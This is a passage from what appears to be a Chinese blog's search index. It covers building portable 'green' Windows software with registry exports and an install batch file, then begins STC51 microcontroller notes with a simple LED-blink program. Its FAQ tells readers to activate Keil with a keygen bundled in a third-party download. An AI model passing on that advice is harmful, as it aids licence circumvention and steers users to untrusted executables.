v3ConfigJavaScript”,”Tmpl”,,”%01%template.js”\u003cbr/\u003ehkcu,”SoftwareEmSoftEmEditor v3ConfigJSP”,”Tmpl”,,”%01%template.jsp”\u003cbr/\u003ehkcu,”SoftwareEmSoftEmEditor v3ConfigPerl”,”Tmpl”,,”%01%template.pl”\u003cbr/\u003ehkcu,”SoftwareEmSoftEmEditor v3ConfigPHP”,”Tmpl”,,”%01%template.php”\u003cbr/\u003ehkcu,”SoftwareEmSoftEmEditor v3ConfigPython”,”Tmpl”,,”%01%template.py”\u003cbr/\u003ehkcu,”SoftwareEmSoftEmEditor v3ConfigRuby”,”Tmpl”,,”%01%template.rb”\u003cbr/\u003ehkcu,”SoftwareEmSoftEmEditor v3ConfigTeX”,”Tmpl”,,”%01%template.tex”\u003cbr/\u003ehkcu,”SoftwareEmSoftEmEditor v3ConfigVBScript”,”Tmpl”,,”%01%template.vbs”\u003cbr/\u003ehkcu,”SoftwareEmSoftEmEditor v3ConfigVBScript for EmEditor”,”Tmpl”,,”%01%template.vbee”\u003cbr/\u003ehkcu,”SoftwareEmSoftEmEditor v3ConfigWindows Script”,”Tmpl”,,”%01%template.wsf”\u003cbr/\u003ehkcu,”SoftwareEmSoftEmEditor v3ConfigXML”,”Tmpl”,,”%01%template.xml”\u003cbr/\u003e** 写一个批处理文件install.bat,内容如下:\u003cbr/\u003eregedit emeditor_HKLM.reg\u003cbr/\u003eregedit emeditor_HKCU.reg\u003cbr/\u003eRUNDLL32.EXE SETUPAPI.DLL,InstallHinfSection DefaultInstall 128 .emeditorConf.inf\u003cbr/\u003eregsvr32 EMEDSHL.DLL\u003cbr/\u003eRUNDLL32.EXE SETUPAPI.DLL,InstallHinfSection DefaultInstall 128 .emeditor_assoc.inf\u003cbr/\u003e6.5 把install.bat,emeditorConf.inf,emeditor_assoc.inf,emeditor_HKLM.reg,emeditor_HKCU.reg5个文件存储到Emeditor的目录,删除其余的注册表文件。\u003cbr/\u003e6.6 根据安装步骤和install.bat,写出相应的卸载的批处理文件,这个比较简单。 经过测试后,Emeditor工作正常,也可以注释掉install.bat的最后2行语句,这样Emeditor就不会和系统关联,上面的步骤是在windows 2000上的,对于win9x也同样,而且win9x下面的emeditor的配置文件和windows 2000的一样,仅仅是程序的版本不同。 把制作好的绿色的emeditor拷贝到U盘上,需要用的时候,直接执行里面的install.bat文件就可以了(注意,要在Emeditor的目录运行批处理文件),不需要任何文件拷贝。这个例子演示如何自动绿色安装,如何解决路径问题,如果你用几十个类似的绿色软件,但是需要手工修改路径的话,是很难记住那些路径需要修改的,当然你如果可以写出自动替换路径的脚本也是可以的。我说u盘就是为了强调 路径可以变化,如果大家所使用的机器的所有分区排列都是一样的话,都是把软件存储到c:的话,是可以直接备份注册表的,否则需要手工修改路径,修改一个容易,多了就麻烦了。 从以上的事例中,可以看出,方法2和方法1基本一样,只不过方法1我们使用WinRar解压缩,而方法2我们使用安装程序解压缩。方法6可以说是方法5的简化版本,方法3和方法4也可以辅助方法5,也有一些需要联合应用这些方法,有时候难以判断到底使用了那个方法,方法是死的,需要灵活运用,有些时候需要不断试验。 我简单说几个软件”绿化”时候使用的方法,某些软件可能有多种”绿化”方法,然而最后的结果基本一样: 使用方法1就不提了,只要没有专门的安装程序,直接以zip形式发布的,都使用方法1。\u003cbr/\u003eCuteFTP,Flashfxp,qq,foobar ,winamp2.8,acrobat,FinalData ,金山词霸 ,ZoomPlayer,WinISO ,IsoBuster,WinISO ,MIRC,WinCVS,Photoshop6 ,EASYRECOVERY 6.03,网易泡泡使用方法2。 VisualC++ 6, real player,realmedia的解码器包,大部分解码器如vp6,mpeg2,ac3 ,ogg ,divx ,xvid 使用方法5。 Netants ,flashget,OfflineExplorer acdsee,ultraedit ,IBM词典,theBat,网文快捕,和现在的CyberArticle,PartitionMagic7 使用方法6。 不适合”绿化”的有Directx9,Mediaplayer9,IE6,微软的补丁程序,Office2003,反病毒工具NAV,Java虚拟机,虚拟机VMware等等,其中有些是不知道如何”绿化”或者说比较困难,如Office 2003,我认为那种把Office安装到硬盘上,然后抽去注册表的变化的方法部叫做”绿化”,因为注册表文件中有大量的绝对路径存在,而且Offcie的组件之间有比较复杂的联系,所以难以”绿化”。有些是”绿化”没有意义,如IE6,微软的补丁程序,Directx9等等。 目前我使用的软件,绝大部分都”绿化”了,只有少数几个必须安装了,如MS Office,Visual Studio.net 2003等等。感觉非常方便,尤其是改变盘符的时候,非常简单,可以做到便携化。\u003c/p\u003e\u003cp\u003e绿色软件自己做!\u003cbr/\u003e  绿色软件以其小巧实用、无需安装、不给系统增加垃圾文件而受到广大用户的青睐。可惜目前网络上提供的绿色软件较少,在功能应用上也比较单一。如果我们常用的,如文字图像处理、杀毒、多媒体等类型软件都是绿色的,那该多好啊!利用Windows优化大师,就能实现这一梦想。 下载安装完成后,运行优化大师,在左方的功能列表中点击进入”系统清理维护”类别中的”软件智能卸载”,页面上方的程序列表中提供了当前电脑中已经安装的全部应用程序名单,先在该名单中选择一个要制作成绿色软件的目标软件,然后点击右边的”分析”按钮,优化大师即开始智能分析与该应用程序相关的信息(如果要分析的软件没有出现在列表中,请点击”其他”按钮,手动选择要分析的软件)。 这里笔者以选择FlashGet(网际快车)为例,详细讲述优化大师如何制作软件的绿色运行版。 根据所分析软件的大小以及复杂程度,智能分析大概需要几十秒到数分钟不等的时间,待分析完成后,即可在下方的关联文件框中看到该软件正常运行时所需要的所有文件,注册表键值信息也在其中,如图1所示。请将这些注册表键值先行记下,单击”卸载”按钮,优化大师开始备份相关的注册表信息和文件信息,接着进行卸载操作。卸载完毕后,刚才所有被智能分析的文件,都被保存到了Windows优化大师安装目录下的BackupUninstallFiles文件夹中,将这里的文件全部复制提取出来,放在一个新文件夹中,例如笔者为该文件夹起名为”FlashGet绿色安装包”。 在”开始→运行”中输入regedit命令,打开注册表编辑器,依次选择”编辑→查找”,在”查找目标”中输入刚才记下的注册表键值名称和相应键值(如图2所示)。找到后,在该键值上单击右键,选择”导出”命令,将软件的注册表文件全部导出到之前的”FlashGet绿色安装包”文件夹中。这样FlashGet的绿色软件安装包就做好了。 将该安装包拷贝到未安装FlashGet的电脑上,双击安装包中的”.reg”文件,导入注册表信息,最后执行软件主程序,FlashGet就能够在这台电脑上运行了。\u003cbr/\u003e小提示:在理论上,以此种方法可以将所有软件全部制作成绿色运行版,但由于大型软件的注册表键值和关联文件为数众多,在查找时需要耗费大量的时间,这就违背了绿色软件”精简易用”的宗旨,因此建议大家以此法制作大小在50M以下的中小软件为佳。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2021/06/19/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/Windows/%E7%BB%BF%E8%89%B2%E8%BD%AF%E4%BB%B6%E5%88%B6%E4%BD%9C%E6%96%B9%E6%B3%95/"},{"title":"STC51单片机学习记录","time":"2021-06-17T10:54:41Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"准备工作\"\u003e\u003ca href=\"https://xeonds.github.io/2021/06/17/%E7%89%A9%E7%90%86/%E5%BE%AE%E7%94%B5%E5%AD%90%E6%8A%80%E6%9C%AF/STC51%E5%8D%95%E7%89%87%E6%9C%BA%E5%AD%A6%E4%B9%A0%E8%AE%B0%E5%BD%95/#%E5%87%86%E5%A4%87%E5%B7%A5%E4%BD%9C\" class=\"headerlink\" title=\"准备工作\"\u003e\u003c/a\u003e准备工作\u003c/h2\u003e\u003ch3 id=\"软件-amp-资料下载\"\u003e\u003ca href=\"https://xeonds.github.io/2021/06/17/%E7%89%A9%E7%90%86/%E5%BE%AE%E7%94%B5%E5%AD%90%E6%8A%80%E6%9C%AF/STC51%E5%8D%95%E7%89%87%E6%9C%BA%E5%AD%A6%E4%B9%A0%E8%AE%B0%E5%BD%95/#%E8%BD%AF%E4%BB%B6-amp-%E8%B5%84%E6%96%99%E4%B8%8B%E8%BD%BD\" class=\"headerlink\" title=\"软件\u0026amp;资料下载\"\u003e\u003c/a\u003e软件\u0026amp;资料下载\u003c/h3\u003e\u003cp\u003e实验板到手,第一步当然是下载资料啦。自然要去官网下载:\u003c/p\u003e\u003cul\u003e\u003cli\u003estc官网:\u003ca href=\"http://www.stcmcu.com/\"\u003ehttp://www.stcmcu.com\u003c/a\u003e\u003c/li\u003e\u003c/ul\u003e\u003cblockquote\u003e\u003cp\u003e顺便,这官网挺瞎眼的(\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e由于官网过于瞎眼,故将下载链接直接贴出来。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ca href=\"http://www.stcmcudata.com/STCISP/stc-isp-15xx-v6.88F.zip\"\u003eSTC-ISP软件V6.88F版\u003c/a\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e这个是烧录用的工具。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ca href=\"https://www.zdfans.com/html/29618.html\"\u003eKeil uVision5\u003c/a\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e直接放上下载站的链接。直链在此:\u003ca href=\"http://zd1.wzhszm.com/KeiluVision_29618.zip?md5=NGfNpsLPv_KDgWk_1TCe3A\u0026amp;expires=1624016762\"\u003e点击下载\u003c/a\u003e(不一定稳定)。下载站上有注册教程。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ca href=\"https://www.stcmcudata.com/datasheet/stc/STC-AD-PDF/STC89C51RC-RD.pdf\"\u003eSTC89C51RC用户手册\u003c/a\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"大致流程\"\u003e\u003ca href=\"https://xeonds.github.io/2021/06/17/%E7%89%A9%E7%90%86/%E5%BE%AE%E7%94%B5%E5%AD%90%E6%8A%80%E6%9C%AF/STC51%E5%8D%95%E7%89%87%E6%9C%BA%E5%AD%A6%E4%B9%A0%E8%AE%B0%E5%BD%95/#%E5%A4%A7%E8%87%B4%E6%B5%81%E7%A8%8B\" class=\"headerlink\" title=\"大致流程\"\u003e\u003c/a\u003e大致流程\u003c/h3\u003e\u003cp\u003e初步练习后,大致梳理如下。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e构思\u0026amp;设计电路\u003c/strong\u003e。没啥好说的,咱也不会,就……边做边查呗(\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e写好程序\u003c/strong\u003e。个人习惯vim/vs code,比较方便。只要引入头文件 reg52.h ,后续开发照着C语言通常的流程即可。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e编译程序\u003c/strong\u003e。使用上文提供的 Keil 编译程序,生成.hex文件(其实我挺好奇能不能用gcc……虽然估计不行)。这个.hex文件(看后缀,即十六进制文件)就是目标程序了。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e烧录程序\u003c/strong\u003e。使用上面提到的 STC-ISP 工具进行烧录即可。烧录操作后面写,可先参考\u003ca href=\"https://blog.csdn.net/zhouyingge1104/article/details/88085350?depth_1-utm_source=distribute.pc_relevant.none-task-blog-OPENSEARCH-1\u0026amp;utm_source=distribute.pc_relevant.none-task-blog-OPENSEARCH-1\"\u003e这篇文章\u003c/a\u003e。\u003c/p\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e好了,到这里就是测试程序了(回想起被wer支配的恐惧)。\u003c/p\u003e\u003ch3 id=\"FAQ(Frequently-asked-questions)\"\u003e\u003ca href=\"https://xeonds.github.io/2021/06/17/%E7%89%A9%E7%90%86/%E5%BE%AE%E7%94%B5%E5%AD%90%E6%8A%80%E6%9C%AF/STC51%E5%8D%95%E7%89%87%E6%9C%BA%E5%AD%A6%E4%B9%A0%E8%AE%B0%E5%BD%95/#FAQ%EF%BC%88Frequently-asked-questions%EF%BC%89\" class=\"headerlink\" title=\"FAQ(Frequently asked questions)\"\u003e\u003c/a\u003eFAQ(Frequently asked questions)\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003eQ:打开Keil新建工程,找不到stc51单片机怎么办?\u003cbr/\u003eA:\u003ca href=\"https://blog.csdn.net/zhuoqingjoking97298/article/details/105517884\"\u003e看这儿\u003c/a\u003e。用stc-isp导入一下数据库到keil安装目录就好了。 \u003c/p\u003e\u003c/blockquote\u003e\u003cblockquote\u003e\u003cp\u003eQ:Keil要激活才能用?\u003cbr/\u003eA:别担心,网上激活教程一大把。\u003ca href=\"https://blog.csdn.net/qq_36306781/article/details/80555704\"\u003e看这儿\u003c/a\u003e。文章里提到的注册机,已经包含在了我提供的Keil安装包里,下好之后照着文章操作就好。\u003c/p\u003e\u003c/blockquote\u003e\u003cblockquote\u003e\u003cp\u003eQ:烧录程序失败?\u003cbr/\u003eA:stc51通病(貌似)。烧录按钮点了之后断一下开发板的电,然后重新上电即可。\u003c/p\u003e\u003c/blockquote\u003e\u003cblockquote\u003e\u003cp\u003e开发板到了。所以储物间又上了一本资料。还挺全的,初期入门用吧。\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"第一课:LED闪烁\"\u003e\u003ca href=\"https://xeonds.github.io/2021/06/17/%E7%89%A9%E7%90%86/%E5%BE%AE%E7%94%B5%E5%AD%90%E6%8A%80%E6%9C%AF/STC51%E5%8D%95%E7%89%87%E6%9C%BA%E5%AD%A6%E4%B9%A0%E8%AE%B0%E5%BD%95/#%E7%AC%AC%E4%B8%80%E8%AF%BE%EF%BC%9ALED%E9%97%AA%E7%83%81\" class=\"headerlink\" title=\"第一课:LED闪烁\"\u003e\u003c/a\u003e第一课:LED闪烁\u003c/h2\u003e\u003cp\u003e代码其实很简单。MCU的编程方式和传统C语言程序相比挺怪的。代码如下:\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e/*Example-1_switch-led*/\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e#include \u0026#34;reg52.h\u0026#34;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003etypedef unsigned int u16;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003esbit LED=P2^0; \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003esbit LED_1=P2^1;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003evoid delay(u16 i)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e while(i--);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003evoid main()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e LED_1=0; \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e while(1)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e LED=0;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e delay(50000);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e LED=1;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e delay(50000);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e写完之后,keil编译生成.hex文件,丢到stc-isp里一下载,完事儿。目测成功。不过这里面还有一点坑:\u003c/p\u003e\u003cul\u003e\u003cli\u003e编译之后,如果没有生成.hex文件,那多半是没设置output生成.hex文件,照着底下几张图设置一下就能解决了。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e点击下图这个魔术棒标志。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://exp-picture.cdn.bcebos.com/fab31cb375d7997be1ae39ecf9dade49600fd9f2.jpg?x-bce-process=image/resize,m_lfit,w_500,limit_1/quality,q_80\"/\u003e\u003c/p\u003e\u003cp\u003e如下图,勾选Create hex file即可。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://exp-picture.cdn.bcebos.com/a31e1214c27bd282fdd342f23cb1eef97ebd36f3.jpg?x-bce-process=image/resize,m_lfit,w_500,limit_1/quality,q_80\"/\u003e\u003c/p\u003e\u003cp\u003e然后编译。输出的信息里有下图这样的creating hex file from XXX就说明应该没啥问题。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://exp-picture.cdn.bcebos.com/7c84d1672b5fd54688cc5ba07fd0b503c9d224f3.jpg?x-bce-process=image/resize,m_lfit,w_500,limit_1/quality,q_80\"/\u003e\u003c/p\u003e\u003ch3 id=\"概览\"\u003e\u003ca href=\"https://xeonds.github.io/2021/06/17/%E7%89%A9%E7%90%86/%E5%BE%AE%E7%94%B5%E5%AD%90%E6%8A%80%E6%9C%AF/STC51%E5%8D%95%E7%89%87%E6%9C%BA%E5%AD%A6%E4%B9%A0%E8%AE%B0%E5%BD%95/#%E6%A6%82%E8%A7%88\" class=\"headerlink\" title=\"概览\"\u003e\u003c/a\u003e概览\u003c/h3\u003e\u003cp\u003e回头看看这个程序。它和传统C语言程序的区别主要是这几点:\u003c/p\u003e\u003cul\u003e\u003cli\u003e多了个头文件reg51.h/reg52.h。这个头文件对于单片机编译很重要\u003c/li\u003e\u003cli\u003e使用循环来达到延时的目的。上面的程序就使用了while循环来延时\u003c/li\u003e\u003cli\u003e通过设置sbit类型变量的值为1/0实现对应引脚高低电平的转换\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e其他的,基本和常规C语言没什么区别。所以,后面主要学习的,应该就是引脚的相关内容了。\u003c/p\u003e\u003ch2 id=\"第二课:用ESP8266实现通信\"\u003e\u003ca href=\"https://xeonds.github.io/2021/06/17/%E7%89%A9%E7%90%86/%E5%BE%AE%E7%94%B5%E5%AD%90%E6%8A%80%E6%9C%AF/STC51%E5%8D%95%E7%89%87%E6%9C%BA%E5%AD%A6%E4%B9%A0%E8%AE%B0%E5%BD%95/#%E7%AC%AC%E4%BA%8C%E8%AF%BE%EF%BC%9A%E7%94%A8ESP8266%E5%AE%9E%E7%8E%B0%E9%80%9A%E4%BF%A1\" class=\"headerlink\" title=\"第二课:用ESP8266实现通信\"\u003e\u003c/a\u003e第二课:用ESP8266实现通信\u003c/h2\u003e\u003cp\u003e\u003cem\u003e《关于我报名比赛后才开始学MCU编程这件事》\u003c/em\u003e\u003c/p\u003e\u003cp\u003eESP8266因为便宜和足够强大,所以在物联网上有着很广泛的应用。它的使用也比较简单,指令较少。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e46\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e47\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e48\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e49\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e50\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e51\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e52\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e53\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e54\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e55\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e56\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e57\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e58\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e59\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e60\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e61\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e62\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e63\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e64\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e65\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e66\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e67\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e68\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e69\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e70\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e71\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e72\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e73\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e74\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e75\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e76\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e77\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e78\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e79\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e80\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e81\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e82\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e83\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e84\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e85\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e86\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e87\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e88\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e89\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e90\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e91\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e92\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e93\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e94\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e95\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e96\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e97\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e98\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e99\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e100\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e101\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e102\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e103\u003c/span\u003e\u003cbr/\u003e\u003cspan 